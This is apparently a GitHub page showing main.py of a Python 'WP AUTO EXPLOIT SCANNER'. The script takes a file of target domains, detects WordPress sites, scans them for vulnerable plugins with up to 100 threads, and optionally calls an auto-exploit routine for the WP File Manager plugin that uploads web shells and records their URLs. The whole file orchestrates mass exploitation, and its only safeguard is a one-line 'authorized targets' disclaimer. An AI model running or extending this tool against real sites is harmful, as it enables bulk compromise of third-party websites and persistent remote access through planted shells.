-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
124 lines (100 loc) · 5.32 KB
/
Copy pathmain.py
File metadata and controls
124 lines (100 loc) · 5.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python3
import os
import sys
from helper.colors import RED, GREEN, YELLOW, BLUE, CYAN, RESET
from helper.file_handler import FileHandler
from core.scanner import PluginScanner
from core.exploit import WPFileManagerExploit
from worker.worker_pool import WorkerPool
from utils.helpers import UtilsHelper
def scan_single_target(target_url, exploit=False):
"""Scan single target"""
result = {
'url': target_url,
'is_wordpress': False,
'vulnerable_plugins': [],
'exploit_results': {},
'shell_urls': []
}
if not target_url.startswith('http'):
target_url = 'http://' + target_url
result['url'] = target_url
result['is_wordpress'] = UtilsHelper.is_wordpress(target_url)
if result['is_wordpress']:
print(f"{GREEN}[+]{RESET} WordPress detected: {target_url}")
scanner = PluginScanner()
plugin_results = scanner.scan_vulnerable_plugins(target_url, max_workers=30)
result['vulnerable_plugins'] = plugin_results
if plugin_results:
print(f"{YELLOW}[!]{RESET} Found {len(plugin_results)} potentially vulnerable plugins")
for plugin in plugin_results[:5]:
print(f" {CYAN}-{RESET} {plugin['plugin']}: {plugin['url']}")
if exploit:
exploiter = WPFileManagerExploit()
exploit_result = exploiter.auto_exploit(target_url)
result['exploit_results'] = exploit_result
for shell in exploit_result.get('shell_urls', []):
if shell not in result['shell_urls']:
result['shell_urls'].append(shell)
return result
def main():
if os.name == "nt":
os.system("cls")
else:
os.system("clear")
banner = f"""
{RED}
██╗ ██╗██████╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██║ ██║██╔══██╗ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
██║ █╗ ██║██████╔╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██║███╗██║██╔═══╝ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
╚███╔███╔╝██║ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══╝╚══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
WP AUTO EXPLOIT SCANNER
{RESET}
"""
print(banner)
filename = input(f"\n{YELLOW}[?]{RESET} Enter filename with domains/URLs: ").strip()
if not os.path.exists(filename):
print(f"{RED}[!]{RESET} File not found: {filename}")
return
print(f"{BLUE}[*]{RESET} Loading targets...")
targets = FileHandler.load_targets(filename)
if not targets:
print(f"{RED}[!]{RESET} No targets loaded")
return
print(f"{GREEN}[+]{RESET} Loaded {CYAN}{len(targets)}{RESET} targets")
threads_input = input(f"{YELLOW}[?]{RESET} Threads [{CYAN}50{RESET}]: ").strip()
max_workers = int(threads_input) if threads_input.isdigit() else 50
max_workers = min(max_workers, 100)
exploit_input = input(f"{YELLOW}[?]{RESET} Enable auto exploit/shell upload? ({GREEN}y{RESET}/{RED}n{RESET}): ").strip().lower()
exploit = exploit_input == 'y'
print(f"{BLUE}[*]{RESET} Starting scan with {CYAN}{max_workers}{RESET} threads...")
if exploit:
print(f"{RED}[!]{RESET} AUTO EXPLOIT ENABLED - Shell uploads will be attempted")
print(f"{YELLOW}[!]{RESET} Use at your own risk and only on authorized targets")
print(f"{YELLOW}[!]{RESET} Press Ctrl+C to stop")
try:
with WorkerPool(max_workers=max_workers) as pool:
results = pool.process_targets(targets, scan_single_target, exploit)
if results:
save_option = input(f"\n{YELLOW}[?]{RESET} Save results? ({GREEN}y{RESET}/{RED}n{RESET}): ").strip().lower()
if save_option == 'y':
save_filename = input(f"{YELLOW}[?]{RESET} Filename [{CYAN}wp_exploit_results.txt{RESET}]: ").strip()
if not save_filename:
save_filename = "wp_exploit_results.txt"
FileHandler.save_results(results, save_filename)
print(f"{GREEN}[+]{RESET} Results saved to {CYAN}{save_filename}{RESET}")
else:
print(f"{BLUE}[i]{RESET} No WordPress sites found")
except KeyboardInterrupt:
print(f"\n{RED}[!]{RESET} Scan interrupted")
except Exception as e:
print(f"{RED}[!]{RESET} Scan error: {e}")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n{YELLOW}Exiting...{RESET}")
except Exception as e:
print(f"{RED}Fatal error: {e}{RESET}")